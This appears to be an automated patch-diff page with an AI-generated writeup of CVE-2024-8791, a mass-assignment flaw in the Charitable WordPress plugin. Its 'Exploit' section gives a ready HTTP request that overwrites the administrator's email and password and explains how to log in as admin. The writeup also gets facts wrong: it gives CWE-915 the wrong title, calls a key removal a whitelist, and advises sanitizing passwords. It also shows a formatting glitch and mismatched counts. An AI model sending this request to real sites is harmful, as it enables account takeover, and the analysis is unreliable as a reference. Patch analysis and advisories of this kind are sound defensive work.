ANALYSIS · 171ede4e· FINISHED 2026-06-13 · PATCHDIFF

charitable1.8.1.14 → 1.8.1.15✓ COMPLETED

Files16

Vulnerable8

True positives0

CVE matched2

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-8791

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 16 CVE 2 Vuln 8

SORT

2 files · page 1/1

includes/forms/class-charitable-registration-form.php

AI: 1 vulnerabilities

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes CVE-2024-8791

#%!d(float64=015)

includes/users/class-charitable-user.php

AI: 1 vulnerabilities

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes CVE-2024-8791

#%!d(float64=016)

1–2 of 2

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-8791

Security writeup for CVE-2024-8791

✓ 2 FILES

## The Exploit

An unauthenticated attacker can modify any WordPress user account — including administrators — by submitting an `ID` parameter in a form request to the Charitable user profile update handler.

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded

action=charitable_register_user&
ID=1&
user_email=attacker%40evil.com&
user_pass=NewPassword123&
_wpnonce=<valid_nonce>
```

The attacker must obtain a valid nonce (from any public registration or profile page served by the plugin). The response confirms the email and password of user ID 1 (typically the site administrator) have been changed. The attacker then logs in with `admin` / `NewPassword123`, gaining full administrative access to the WordPress installation.

## What the Patch Did

**Before**

```php
$user    = new Charitable_User();
$user_id = $user->update_profile( $submitted, array_keys( $fields ) );
```

**After**

```php
// Remove any ID fields that may have been submitted.
if ( array_key_exists( 'ID', $submitted ) ) {
    unset( $submitted['ID'] );
}

$user    = new Charitable_User();
$user_id = $user->update_profile( $submitted, array_keys( $fields ) );
```

The patch added explicit filtering of the `ID` key from the `$submitted` array before passing it to `update_profile()`. This is a **whitelist-based input filter** applied at the point of use: the plugin now rejects any form submission containing an `ID` field, preventing mass assignment of the user identity attribute.

## Root Cause

**CWE-915: Improper Initialization with Hard-Coded Network Resource Configuration Data** (Mass Assignment / Insecure Direct Object Reference).

The dataflow is straightforward: user-supplied POST parameters (including `ID`) flow from `$_POST` into the `$submitted` array via the AJAX handler. This array is passed directly to `Charitable_User::update_profile()` without filtering. The `update_profile()` method extracts and passes values from `$submitted` to WordPress' `wp_update_user()` function, which respects an `ID` field to specify which user account to modify. Because no authentication check verifies that the current user owns or can modify the target user ID, any unauthenticated visitor can supply `ID=1` to overwrite the administrator.

## Why It Works

The **load-bearing line is `unset( $submitted['ID'] )`** — removing this would leave the vulnerability intact. The preceding `if` condition is defensive hygiene; without it, `unset()` would raise a notice. The crucial effect is that `update_profile()` no longer receives an `ID` parameter, so it cannot target an arbitrary user. Instead, it must infer the user ID from the current request context (typically creating a new user or updating the authenticated user), and crucially, it has no external directive to change the target.

The patch was applied in *two locations* (`class-charitable-registration-form.php` and `class-charitable-user.php`) because the same unsafe pattern existed in multiple code paths. The engineer added the same check twice to ensure that no form submission — whether registration, profile update, or direct function call — could sneak an `ID` parameter past the filter. This is **defence-in-depth by redundancy**: if one patch site is missed or if code is refactored, the other still holds.

## Hardening Checklist

- **Never pass `$_POST` directly to database update functions.** Use `wp_parse_args()` with an explicit whitelist of allowed keys before passing user input to any `wp_update_*()` function.

- **Apply `sanitize_text_field()` and `sanitize_email()` to user-supplied email and password fields.** This does not prevent mass assignment, but it hardens against secondary injection when the modified data is displayed or logged.

- **Nonce-check every AJAX endpoint that modifies data.** Use `wp_verify_nonce()` at the handler entry point. While nonces do not authenticate the user, they prevent CSRF and make mass-assignment exploits harder to chain in real-world scenarios.

- **Audit all calls to `Charitable_User::update_profile()` and similar methods in a static analysis pass.** Grep for patterns where `$_POST`, `$_GET`, or unsanitized request arrays are passed to any update function without prior filtering.

- **Write a unit test that explicitly attempts to pass `ID` in a registration request and asserts it is ignored.** Test both authenticated and unauthenticated contexts. This prevents regression when refactoring user-handling code.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-8791

CVE CVE-2024-8791

PRODUCT charitable

AFFECTED ≤ 1.8.1.14

FIXED IN 1.8.1.15

STATUS Generated

Security writeup · CVE-2024-8791

Source files · 2

includes/forms/class-charitable-registration-form.php Linked

includes/users/class-charitable-user.php Linked

↗ NVD